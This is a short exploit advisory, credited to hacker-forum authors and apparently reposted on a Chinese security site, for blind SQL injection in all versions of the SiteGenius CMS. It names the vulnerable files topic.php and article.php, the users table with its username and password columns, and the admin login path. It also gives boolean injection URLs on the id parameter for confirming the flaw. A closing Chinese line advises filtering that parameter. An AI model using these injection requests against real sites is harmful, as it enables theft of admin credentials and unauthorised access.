===================================================== SiteGenius Blind SQL injection vulnerability ===================================================== # Exploit title : SiteGenius Blind SQL injection vulnerability # Author : AutoRUN & dR.sqL # Home : HackForums.AL , AutoRUN-Albania.COM , whiteh4t.net, HackingWith.US , # Software Link : http://www.sitegenius.com # Versions affected : All ---------------------------------- # ~ ExpL0!taTi0N ~ # ---------------------------------- Affected files : topic.php & article.php SQLi (blind) details: Table: users ; Columns: username & password ; Panel (admin): /sitegenius/login.php Exploit : http://www.2cto.com /sitegenius/topic.php?id=1 and 1=1 --> TRUE http:// Exploit : http://www.2cto.com /sitegenius/topic.php?id=1 and 1=2 --> FALSE w00t!! Blind SQL injection !
修复：过滤topic.php页面的id参数输入
查看更多关于SiteGenius所有版本盲注缺陷及修复 - 网站安全 - 自的详细内容...